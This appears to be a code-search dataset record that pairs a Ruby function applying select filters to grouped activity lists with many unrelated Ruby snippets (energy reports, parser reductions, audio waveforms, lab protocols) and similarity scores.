\" #{$gResults[$outputHCode]['avgEnergyGrossGJ'].round(1)} ( H2K Gross energy use GJ ) \\n\")\n\n if ( parseDebug )\n $check = $gResults[$outputHCode]['avgEnergyHeatingGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyWaterHeatingGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyVentilationGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyCoolingGJ'].to_f +\n $gResults[$outputHCode]['avgEnergyEquipmentGJ'].to_f\n stream_out (\" ( Check1: should = #{$check.round(1)}, \")\n stream_out (\"Check2: avgEnergyTotalGJ = #{$gResults[$outputHCode]['avgEnergyTotalGJ'].round(1)} ) \\n \")\n end\n\n if $ExtraOutput1 then\n stream_out(\"\\n Components of envelope heat loss: \\n\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLCeilingGJ'].round(1)} ( Envelope Ceiling Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLMainWallsGJ'].round(1)} ( Envelope Main Wall Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLWindowsGJ'].round(1)} ( Envelope Window Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLDoorsGJ'].round(1)} ( Envelope Door Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLExpFloorsGJ'].round(1)} ( Envelope Exp Floor Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLCrawlspaceGJ'].round(1)} ( Envelope Crawlspace Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLSlabGJ'].round(1)} ( Envelope Slab Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLBasementBGWallGJ'].round(1)} ( Envelope BG Basement Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLBasementAGWallGJ'].round(1)} ( Envelope AG Basement Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLBasementFlrHdrsGJ'].round(1)} ( Envelope Basement Floor Hdr Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLPonyWallGJ'].round(1)} ( Envelope Pony Wall Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLFlrsAbvBasementGJ'].round(1)} ( Envelope Floors Above Basement Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLAirLkVentGJ'].round(1)} ( Envelope Air Leakage & Ventilation Heat Loss (all zones), GJ ) \\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" #{$gResults[$outputHCode]['EnvHLTotalGJ'].round(1)} ( Envelope Total Heat Loss (as reported in file), GJ ) \\n\")\n\n if ( parseDebug )\n $check = $gResults[$outputHCode]['EnvHLCeilingGJ'].to_f +\n $gResults[$outputHCode]['EnvHLMainWallsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLWindowsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLDoorsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLExpFloorsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLCrawlspaceGJ'].to_f +\n $gResults[$outputHCode]['EnvHLSlabGJ'].to_f +\n $gResults[$outputHCode]['EnvHLBasementBGWallGJ'].to_f +\n $gResults[$outputHCode]['EnvHLBasementAGWallGJ'].to_f +\n $gResults[$outputHCode]['EnvHLBasementFlrHdrsGJ'].to_f +\n $gResults[$outputHCode]['EnvHLPonyWallGJ'].to_f +\n $gResults[$outputHCode]['EnvHLAirLkVentGJ'].to_f\n stream_out (\" ( Note: sum above without basement floor above HL = #{$check.round(1)} )\")\n end\n\n stream_out ( \"\\n\\n #{$gResults[$outputHCode][\"AnnHotWaterLoadGJ\"].round(1)} ( Annual DHW heating load, GJ ) \\n\")\n end\n\n stream_out(\"\\n\\n Energy Cost (not including credit for PV, direction #{$gRotationAngle} ): \\n\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsElec$'].round(2)} (Electricity)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsNatGas$'].round(2)} (Natural Gas)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsOil$'].round(2)} (Oil)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsPropane$'].round(2)} (Propane)\\n\")\n stream_out(\" + \\$ #{$gResults[$outputHCode]['avgFuelCostsWood$'].round(2)} (Wood) \\n\")\n# stream_out(\" + \\$ #{$gResults[$outputHCode][''].round(2)} #{$gAvgCost_Pellet.round(2)} (Pellet)\\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" \\$ #{$gResults[$outputHCode]['avgFuelCostsTotal$'].round(2)} (All utilities).\\n\")\n stream_out ( \"\\n\")\n\n netAnnualPV = $gResults[$outputHCode]['avgElecPVGenkWh'] - $gResults[$outputHCode]['avgElecPVUsedkWh']\n\n stream_out ( \" - \\$ #{$gResults[$outputHCode]['avgPVRevenue'].round(2)} (**Net PV revenue for #{$PVcapacity.round(0)} kW unit: #{netAnnualPV.round(0)} kWh at \\$ #{$PVTarrifDollarsPerkWh} / kWh)\\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n\n netUtilityCost = $gResults[$outputHCode]['avgFuelCostsTotal$'] - $gResults[$outputHCode]['avgPVRevenue']\n\n stream_out ( \" \\$ #{netUtilityCost.round(2)} (Net utility costs).\\n\")\n stream_out ( \"\\n\")\n\n if $ExtraOutput1 then\n stream_out(\"\\n Space Heating Energy Use by Fuel (GJ): \\n\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatElecGJ\"].round(1)} (Space Heating Electricity, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatGasGJ\"].round(1)} (Space Heating Natural Gas, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatOilGJ\"].round(1)} (Space Heating Oil, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatPropGJ\"].round(1)} (Space Heating Propane, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnSpcHeatWoodGJ\"].round(1)} (Space Heating Wood, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterElecGJ\"].round(1)} (Hot Water Heating Electricity, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterGasGJ\"].round(1)} (Hot Water Heating Natural Gas, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterOilGJ\"].round(1)} (Hot Water Heating Oil, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterPropGJ\"].round(1)} (Hot Water Heating Propane, GJ)\\n\")\n stream_out(\" - #{$gResults[$outputHCode][\"AnnHotWaterWoodGJ\"].round(1)} (Hot Water Heating Wood, GJ)\\n\")\n end\n\n stream_out(\"\\n\\n Total Energy Use by Fuel (in fuel units, not including credit for PV, direction #{$gRotationAngle} ): \\n\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseEleckWh'].round(0)} (Total Electricity, kWh)\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseNatGasM3'].round(0)} (Total Natural Gas, m3)\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseOilL'].round(0)} (Total Oil, l)\\n\")\n stream_out(\" - #{$gResults[$outputHCode]['avgFuelusePropaneL'].round(0)} (Total Propane, l)\\n\")\n\n # ASF 03-Oct-2016:\n # Wood/Pellets\n stream_out(\" - #{$gResults[$outputHCode]['avgFueluseWoodcord'].round(0)} (Total Wood, cord)\\n\")\n # stream_out(\" - #{$gAvgPelletCons_t.round(1)} (Pellet, tonnes)\\n\")\n # stream_out (\"> SCALE #{scaleData} \\n\");\n # Estimate total cost of upgrades\n $gTotalCost = 0\n\n if ( $Locale == \"NA\" )\n thisLocale = \"Basehouse location\"\n else\n thisLocale = $Locale\n end\n stream_out (\"\\n\\n Estimated costs in #{thisLocale} (x #{$gRegionalCostAdj} Ottawa costs) : \\n\\n\")\n\n $gChoices.sort.to_h\n for attribute in $gChoices.keys()\n\n debug_out \"Costing for #{attribute}: \"\n\n choice = $gChoices[attribute]\n cost = $gOptions[attribute][\"options\"][choice][\"cost\"].to_f\n $gTotalCost += cost\n stream_out( \" + #{cost.round()} ( #{attribute} : #{choice} ) \\n\")\n end\n stream_out ( \" - #{($gIncBaseCosts * $gRegionalCostAdj).round} (Base costs for windows) \\n\")\n stream_out ( \" --------------------------------------------------------\\n\")\n stream_out ( \" = #{($gTotalCost-$gIncBaseCosts * $gRegionalCostAdj).round} ( Total incremental cost ) \\n\\n\")\n $gRegionalCostAdj != 0 ? val = $gTotalCost / $gRegionalCostAdj : val = 0\n stream_out ( \" ( Unadjusted upgrade costs: \\$ #{val} )\\n\\n\")\n\n if ( $gERSNum > 0 )\n $tmpval = $gERSNum.round(1)\n stream_out(\" ERS value: #{$tmpval}\\n\")\n end\n\nend", "def processSamples(samples, f, fs)\r\n processSamplesKoef(samples, calc_koef(f, fs))\r\n end", "def _reduce_515(val, _values, result)\n yyerrok \n result\nend", "def finalize_wav_header()\n\t\t# these are the byte offsets for the Chunksize and Subchunk2Size\n\t\t# parts of the .wav file header\n\t\tchunk_size = @file_offset - 8\n\t\tsubChunk2_size = chunk_size - 36\n\t\t# set ChunkSize in header\n\t\tencode_and_write_int32(chunk_size, mode='file', byte_offset=4)\n\t\t# set Subchunk2Size in header\n\t\tencode_and_write_int32(subChunk2_size, mode='file', byte_offset=40)\n\tend", "def _reduce(klass, seq_op, comb_op, zero_value=nil)\n if seq_op.nil?\n # Partitions are already reduced\n rdd = self\n else\n rdd = new_rdd_from_command(klass, seq_op, zero_value)\n end\n\n # Send all results to one worker and combine results\n rdd = rdd.coalesce(1).compact\n\n # Add the same function to new RDD\n comm = rdd.add_command(klass, comb_op, zero_value)\n comm.deserializer = @command.serializer\n\n # Value is returned in array\n PipelinedRDD.new(rdd, comm).collect[0]\n end", "def _reduce_705(val, _values, result)\n yyerrok\n \n result\nend", "def smoothing=(_arg0); end", "def _reduce_711(val, _values, result)\n yyerrok\n \n result\nend", "def _reduce_551(val, _values, result)\n yyerrok\n \n result\nend", "def _reduce_711(val, _values, result)\n yyerrok\n\n result\nend", "def _reduce_752(val, _values, result)\n yyerrok\n result\nend", "def processing!\n self.sub_state = :processing\n save!\n end", "def blurred\r\n unos = []\r\n # nested loops for rows and columns\r\n @paint.each_with_index do |row, rownum| # iterating over elements in the main array for rows \r\n row.each_with_index do |element, colnum| # iterating over elements in each subarray for columns\r\n if element == 1\r\n unos << [rownum, colnum]\r\n end\r\n end\r\n end\r\n\r\n unos.each do |rownum, colnum| \r\n # assigning \"1\" above \"1\"s, except for first row\r\n @paint[rownum -1][colnum] = 1 unless rownum == 0\r\n # assigning \"1\" below \"1\"s, except for last row\r\n @paint[rownum +1][colnum] = 1 unless rownum >= @paint.length-1\r\n # assigning \"1\" to the left of \"1\"s, except for first column\r\n @paint[rownum][colnum -1] = 1 unless colnum == 0\r\n # assigning \"1\" to the right of \"1\"s, except for last column\r\n @paint[rownum][colnum +1] = 1 unless colnum >= @paint[rownum].length-1\r\n end\r\n end", "def _reduce_640(val, _values, result)\n yyerrok\n result\nend", "def _reduce_640(val, _values, result)\n yyerrok\n result\nend", "def _reduce_640(val, _values, result)\n yyerrok\n result\nend", "def flush\n synchronize do\n publish_batches!\n @cond.signal\n end\n\n self\n end", "def calculate_at_size(size)\r\n if size > self.data.size\r\n zero_fill = Array.new(size - @time_data.length, 0)\r\n @time_data = time_data.concat zero_fill\r\n elsif size < self.data.size\r\n @time_data = time_data.take(size)\r\n end\r\n self.strategy.data = time_data\r\n calculate\r\n end", "def reduce_to_all_true(source_array)\nend", "def recieve_data\n # actual code start\n if not TEST_MODE\n raw_data = get_data_from_audiometer\n else\n # dummy code start\n datafile = \"sample_data/data_with_mask.dat\"\n raw_data = String.new\n File.open(datafile, \"r\") do |f|\n raw_data = f.read\n end\n end\n\n if raw_data == \"Timeout\"\n return \"Timeout\"\n else\n r = Audiodata.new(\"raw\", raw_data)\n a = Audio.new(r)\n a.draw\n a.output(\"./result.ppm\")\n system(\"convert ./result.ppm ./result.png\") # convert with ImageMagick\n \n return raw_data\n end\nend", "def eliminate_all_radiation()\n self.scan() if @filearray == nil\n setcolumntovalue(Extraterrestrial_Horizontal_Radiation,\"0\")#not used\n setcolumntovalue(Extraterrestrial_Direct_Normal_Radiation,\"0\")#not used\n setcolumntovalue(Horizontal_Infrared_Radiation_Intensity,\"315\")\n setcolumntovalue(Global_Horizontal_Radiation,\"0\")#not used\n setcolumntovalue(Direct_Normal_Radiation,\"0\")\n setcolumntovalue(Diffuse_Horizontal_Radiation,\"0\")\n setcolumntovalue(Total_Sky_Cover,\"10\")#not used\n setcolumntovalue(Opaque_Sky_Cover,\"10\")#not used\n setcolumntovalue(Visibility,\"0\")#not used\n setcolumntovalue(Ceiling_Height,\"0\")#not used\n #lux values\n setcolumntovalue(Global_Horizontal_Illuminance,\"0\")#not used\n setcolumntovalue(Direct_Normal_Illuminance,\"0\")#not used\n setcolumntovalue(Diffuse_Horizontal_Illuminance,\"0\")#not used\n setcolumntovalue(Zenith_Luminance,\"0\")#not used\n return self\n end", "def _reduce_784(val, _values, result)\n yyerrok\n result\nend", "def minimize; end", "def wave\n [*0..60].map do |e|\n (4095 * Math.sin(e * Math::PI / 60)).round\n end\nend", "def generate_sample_data(wave_type, num_samples, frequency, max_amplitude)\n position_in_period = 0.0\n position_in_period_delta = frequency / SAMPLE_RATE\n\n # Initialize an array of samples set to 0.0. Each sample will be replaced with\n # an actual value below.\n samples = [].fill(0.0, 0, num_samples)\n\n num_samples.times do |i|\n # Add next sample to sample list. The sample value is determined by\n # plugging position_in_period into the appropriate wave function.\n if wave_type == :sine\n samples[i] = Math::sin(position_in_period * TWO_PI) * max_amplitude\n elsif wave_type == :square\n samples[i] = (position_in_period >= 0.5) ? max_amplitude : -max_amplitude\n elsif wave_type == :saw\n samples[i] = ((position_in_period * 2.0) - 1.0) * max_amplitude\n elsif wave_type == :triangle\n samples[i] = max_amplitude - (((position_in_period * 2.0) - 1.0) * max_amplitude * 2.0).abs\n elsif wave_type == :noise\n samples[i] = RANDOM_GENERATOR.rand(-max_amplitude..max_amplitude)\n end\n\n position_in_period += position_in_period_delta\n \n # Constrain the period between 0.0 and 1.0.\n # That is, keep looping and re-looping over the same period.\n if(position_in_period >= 1.0)\n position_in_period -= 1.0\n end\n end\n \n samples\nend", "def visualize\n raise unless @track.ready?\n\n clear_tines\n\n tine_width = @width / @slice_count.to_f\n rms = RMS.new @slice_count\n buffer = @track.main_buffer\n rms_result = rms.apply buffer, @track.sample_rate, @track.channels\n max_tine_height = @height / 2\n\n @duration_per_tine = @track.duration / @slice_count\n @max_selectable_tine_count = (30.0 / @duration_per_tine).floor\n\n i = 0\n\n while i < @slice_count do\n if @track.channels == 1\n rms_height = rms_result[i][0] * max_tine_height\n above_the_line_height = rms_result[i][1].abs * max_tine_height\n # below_the_line_height = rms_result[i][2].abs * max_tine_height\n else\n rms_height = (\n (rms_result[i][0][1] + rms_result[i][0][1]) / 2\n ) * max_tine_height\n\n above_the_line_height = (\n (rms_result[i][1][0] + rms_result[i][1][1]) / 2\n ).abs * max_tine_height\n \n # below_the_line_height = (\n # (rms_result[i][2][0] + rms_result[i][2][1]) / 2\n # ).abs * max_tine_height\n end\n\n x = @x + i * tine_width\n\n midpoint = @y + max_tine_height\n\n @peak_tines << Rectangle.new(\n x: x,\n y: midpoint - above_the_line_height,\n width: tine_width,\n height: above_the_line_height * 2.0,\n color: \"black\",\n z: @z + 1\n )\n\n @rms_tines << Rectangle.new(\n x: x,\n y: midpoint - rms_height / 2,\n width: tine_width,\n height: rms_height,\n color: \"gray\",\n z: @z + 1\n )\n\n i += 1\n end\n\n set_track_offsets\n set_button_positions\n end", "def do_work\n until @worker_input_queue.empty?\n @output_queue << yield(@worker_input_queue.pop)\n end\n end", "def main\n pr = intro\n operations.group_by {|op| get_parameter(op: op, fv_str: MEASUREMENT_TYPE).to_sym}.each do |measurement_type, ops|\n new_mtype = true\n pr.measurement_type = measurement_type\n ops.group_by {|op| op.input(INPUT).sample.sample_type}.each do |st, ops|\n ops.group_by {|op| op.input(MEDIA).item}.each do |media_item, ops|\n ops.group_by {|op| get_uninitialized_output_object_type(op)}.each do |out_ot, ops|\n ops.make\n ops.group_by {|op| op.output(OUTPUT).collection}.each do |out_collection, ops|\n pr.setup_experimental_measurement(experimental_item: out_collection, output_fv: nil)\n new_mtype = setup_plate_reader_software_env(pr: pr, new_mtype: new_mtype)\n # Gather materials and items\n take_items = [media_item].concat([pr.experimental_item].flatten)\n gather_materials(empty_containers: [pr.measurement_item], transfer_required: pr.transfer_required, new_materials: ['P1000 Multichannel'], take_items: take_items)\n # Prep plate\n display_hash = get_transfer_display_hash(ops: ops, input_str: INPUT, output_str: OUTPUT, dilution_str: DILUTION)\n prefill_plate_w_media(collection: pr.measurement_item, media_sample: media_item.sample, media_vol_ul: nil, display_hash: display_hash) # media_vol_ul must be > 0 to run show block\n take ops.map {|op| op.input(INPUT).item}, interactive: true\n tech_transfer_cultures(collection: pr.measurement_item, display_hash: display_hash)\n tech_add_blanks(pr: pr, blanking_sample: media_item.sample, culture_vol_ul: 0.0, media_vol_ul: 300.0) # Cannot handle a plate without blanks, esp in processing of upload\n \n take_measurement_and_upload_data(pr: pr)\n \n dilution_factor_arr = ops.map {|op| get_dilution_factor(op: op, fv_str: DILUTION)}\n \n process_and_associate_data(pr: pr, ops: ops, blanking_sample: media_item.sample, dilution_factor: dilution_factor_arr)\n end\n keep_p_arr = ops.select {|op| op.input(KEEP_OUT_PLT).val.to_s.downcase == 'yes'}\n (keep_p_arr.empty?) ? pr.measurement_item.mark_as_deleted : pr.measurement_item.location = 'Bench'\n end\n end\n end\n end\n cleaning_up(pr: pr)\n end", "def post_process(aggregate)\n aggregate\n end", "def process(flag, duration=1)\n\tif !ARGV[0]\n\t\tabort(\"Missing input file.\")\n\tend\n\n\tfilename = ARGV[0] # source file\n\tf = IO.read(filename)\n\tlb_hash = JSON.parse f\n\n\n\tcreate_directory(@arduino_directory)\n\tcreate_directory(@command_directory)\n\tcreate_directory(@matlab_directory)\n\tcreate_directory(@results_directory)\n\n\tcompression = []\n\n\tlb_hash.each do |name, values|\n\t\tname = parseName(name)\n\t\tvalues = clean_values(values)\n\t\tunoptimized = values.length\n\t\tvalues = optimize_commands(name, values, duration)\n\t\toptimized = values.length\n\t\tcompression << {name: name, full: unoptimized, sparse: 1.0/(optimized/unoptimized.to_f ), bits: optimized * 16};\n\n\t\tarray2arduino(@arduino_directory, name, values)\n\t\tarray2command(@command_directory, name, values)\n\t\tarray2matlab(@matlab_directory, name, values)\n\tend\n\tprint_results(compression)\n\tsave_results(compression)\nend", "def _reduce_430(val, _values, result)\n result = new_dsym val[1]\n \n result\nend", "def process\n Wavefront::Write.new({ proxy: ENDPOINT, port: 2878 },\n tags: setup_tags).write(metrics_as_points)\n update_run_number\n end", "def initialize_wave_function(size:, patterns:)\n coefficients = []\n\n (0..size[0] - 1).each do |_col|\n row = []\n (0..size[1] - 1).each do |_r|\n row.push(patterns)\n end\n coefficients.push(row)\n end\n coefficients\nend", "def bgsave; end", "def bgsave; end", "def collect_samples\n all_samples = []\n\n all_samples << { item: @beads } if @plan_params[:run_calibration_beads]\n\n CONTROL_NAMES.each do |name|\n controls(name).each do |item|\n all_samples << { item: item, control: name }\n end\n end\n\n other_samples.each do |item|\n all_samples << { item: item }\n end\n\n libraries_to_sort.each do |item|\n all_samples << { item: item, sort: true }\n end\n\n all_samples\n end", "def sweep; end", "def blur\n things_to_blur = []\n # looking for 1s to blur going through each array\n @grid.each_with_index do |or_row, row_index|\n or_row.each_with_index do |cell, cell_index|\n #is this current cell a 1?\n if cell == 1\n #run function on code\n recursive_blur(Point.new(cell_index, row_index), things_to_blur)\n end\n end\n end\n things_to_blur.each do |point|\n @grid[point.y][point.x] = 1\n end\n output_image\n end", "def process(event)\n event_data = build_event_data(event)\n transform_and_write(event, event_data)\n end", "def process_one_cycle(data)\n data.each_slice(4) do |m, sec, usec, args|\n process_one_event(m, sec, usec, args)\n end\n end", "def _reduce_15(val, _values, result)\n result = self.block_append val[0], val[2]\n \n result\nend" ]
[ "0.5654875", "0.54758495", "0.5006701", "0.48229542", "0.4821526", "0.46971744", "0.46766552", "0.46680257", "0.4664573", "0.46589682", "0.4611205", "0.4600081", "0.45674616", "0.45576847", "0.45468265", "0.45409465", "0.4539846", "0.45341748", "0.4532534", "0.45257643", "0.4503031", "0.44973782", "0.44833776", "0.44813848", "0.4479782", "0.44682378", "0.44644937", "0.44594133", "0.4438622", "0.4392243", "0.4384562", "0.43588832", "0.43492275", "0.43309325", "0.4322884", "0.43155074", "0.43142322", "0.4314178", "0.42722422", "0.4268658", "0.42667118", "0.4266386", "0.4262375", "0.42499185", "0.42462695", "0.42448238", "0.4241545", "0.4235125", "0.4232471", "0.42293558", "0.42254418", "0.42236978", "0.42192268", "0.4214711", "0.42107356", "0.4203972", "0.42002875", "0.4200019", "0.41984785", "0.41837287", "0.41831407", "0.41694868", "0.41693264", "0.41568625", "0.41552904", "0.41542944", "0.414759", "0.4144624", "0.414234", "0.41415727", "0.4138458", "0.41274545", "0.4118867", "0.4118782", "0.4118782", "0.4118782", "0.41151157", "0.41117498", "0.41116297", "0.41102752", "0.41065595", "0.41059142", "0.41049716", "0.4095748", "0.40953016", "0.4094435", "0.40914473", "0.409129", "0.40879133", "0.40876532", "0.4086791", "0.4085487", "0.4084333", "0.40823928", "0.40823928", "0.4077353", "0.4074525", "0.407254", "0.4065481", "0.40602967", "0.4055579" ]
0.0
-1
Apply a list of selects to the list of activities
def apply_selects(activities, selects, grouped = false) return activities if selects.empty? # We use map+reject(blank) so that we can modify the activities in the # groups activities = activities.lazy.map do |act| if act['activities'] # recurse into activity groups catch(:remove_group) do act['activities'] = apply_selects(act['activities'], selects, true) act end elsif grouped # Activity inside an ActivityGroup next unless selects.all? { |proc| proc.call(act) } act else # Top-level activities catch(:remove_group) do next unless selects.all? { |proc| proc.call(act) } act end end end activities = activities.reject do |act| act.blank? || (act['activities'] && act['activities'].blank?) end activities.to_a end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def select_activity_multiple(menu)\n activities_selected = []\n TTY::Prompt.new.multi_select(\"Please select your actiities to book in:\", menu, cycle: true, marker: '>', echo: false, per_page: 5).each do |activity|\n \n # pushing a activity object to the activities_selected array\n @activities.each { |activity_object| activities_selected.push(activity_object) if activity == activity_object.name}\n return activities_selected\n end\n end", "def activity_collection_for_select_options(time_entry=nil, project=nil)\n project ||= time_entry.try(:project)\n project ||= @project\n if project.nil?\n activities = TimeEntryActivity.shared.active\n else\n activities = project.activities\n end\n\n collection = []\n if time_entry && time_entry.activity && !time_entry.activity.active?\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ]\n else\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ] unless activities.detect(&:is_default)\n end\n activities.each { |a| collection << [a.name, a.id] }\n collection\n end", "def activity_collection_for_select_options(time_entry=nil, project=nil)\n project ||= @project\n if project.nil?\n activities = TimeEntryActivity.shared.active\n else\n activities = project.activities\n end\n\n collection = []\n if time_entry && time_entry.activity && !time_entry.activity.active?\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ]\n else\n collection << [ \"--- #{l(:actionview_instancetag_blank_option)} ---\", '' ] unless activities.detect(&:is_default)\n end\n activities.each { |a| collection << [a.name, a.id] }\n collection\n end", "def expose_selections\n params[:attendee] ||= {} # TODO: not sure we need this\n params[:activity_ids] ||= []\n @activity_selections = params[:activity_ids].map(&:to_i)\n @plan_selections = Registration::PlanSelection.parse_params(params['plans'], all_plans)\n end", "def activities\n Activity.where(\"action_item_uuid in (?)\", action_items.collect(&:uuid))\n end", "def select_activity(list)\n\t\tif !(list.instance_of? Project) && !(list.instance_of? Milestone) && !(list.instance_of? Form) && !(list.instance_of? Client) && !(list.instance_of? Contact)\n\t\t\tif list.user != nil\n\t\t\t\tif list.user.type != \"Contact\"\n\t\t\t\t\tutag = '<p><strong>'+list.user.name+'</strong> '\n\t\t\t\telse\n\t\t\t\t\tutag = '<p><strong>'+list.user.name+'</strong> (<a href=\"/clients/'+list.user.client.id.to_s+'\" class=\"clientLink\">'+list.user.client.name+'</a>) '\n\t\t\t\tend\n\t\t\telse\n\t\t\t\tutag = '<p><strong>'+t('contact.old')+'</strong> '\n\t\t\tend\n\t\tend\n\t\tif list.updated_at.day == Date.current.day\n\t\t\tto_print = \"Hoy \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\telse\n\t\t if list.updated_at.day + 1 == Date.current.day\n\t\t\t to_print = \"Ayer \" + list.updated_at.strftime(\"%H:%M\").to_s\n\t\t else\n\t\t\t to_print = list.updated_at.strftime(\"%b %d\").to_s\n\t\t end\n\t\tend\n\t\tif (list.instance_of? Mood)\n\t\t\tif list.mood == \"Happy\"\n \tfacemood = ' <i class=\"face-veryhappy\"></i> '\n \telsif list.mood == \"Satisfied\"\n \t\tfacemood = ' <i class=\"face-happy\"></i> '\n \telsif list.mood == \"Neutral\"\n \t\tfacemood = ' <i class=\"face-neutral\"></i> '\n \telsif list.mood == \"Sad\"\n \t\tfacemood = ' <i class=\"face-sad\"></i> '\n \telse\n \t\tfacemood = ' <i class=\"face-angry\"></i> '\n end\n\t\tend\n\t\tif list.updated_at == list.created_at\n case list\n\t\t\t\twhen Comment\n\t\t\t\t\trender :inline => utag+t('comment.cup')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Content\n\t \t\trender :inline => utag+t('content.cup')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Mood\n\t \t\trender :inline => utag+t('mood.cup')+ facemood + t('mood.oncup') + ' ' + '<a href=\"/projects/'+list.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Project\n\t \t\trender :inline => '<p>' + t('project.pup')+ ' <a href=\"/projects/'+list.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Milestone\n\t \t\trender :inline => '<p>' + t('milestone.mup')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Form\n\t \t\trender :inline => '<p>' + t('form.fup')+' <a href=\"' + list.admin_url + '\" class=\"projectLink\">'+ list.title+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Client\n\t \t\trender :inline => '<p>' + t('client.cup')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t\t \t\tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t when Contact\n\t \t\trender :inline => '<p>' + t('contact.cup')+' <strong>'+list.name + ' </strong>' + t('contact.toc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t end\n else\n\t if list.instance_of? Client\n\t \trender :inline => t('client.cmod')+ ' <a href=\"/clients/'+list.id.to_s+'\"\n\t\t \tclass=\"clientLink\">'+ list.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n\t\t elsif list.instance_of? Contact\n \t\trender :inline => t('contact.cmod')+' <strong>'+list.name + ' </strong>' + t('contact.ctoc') +' <a href=\"/clients/'+list.client.id.to_s+'\"\n\t \t\tclass=\"clientLink\">'+ list.client.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \telsif list.instance_of? Milestone\n \t\trender :inline => t('milestone.mmod')+' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \telsif list.instance_of? Content\n \t\trender :inline => utag+t('content.cmod')+ ' ' +list.content_type+' ' + t('content.oncup') +' <a href=\"/projects/'+list.project.id.to_s+'\"\n\t \t\tclass=\"projectLink\">'+ list.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \telsif list.instance_of? Comment\n\t\t\t\trender :inline => utag+t('comment.cmod')+' <a href=\"/projects/'+list.content.project.id.to_s+'\"\n\t\t \tclass=\"projectLink\">'+ list.content.project.name+'</a> <span class=\"activity-date\">- ' + to_print + '</span></p>'\n \tend\n\t\tend\n\tend", "def activities\n add_to_query restrict_kind: 'activity'\n end", "def apply_maps(activities, maps)\n return activities if maps.empty?\n activities.map do |act|\n if act['activities'] # Recurse into activity groups\n act['activities'] = apply_maps(act['activities'], 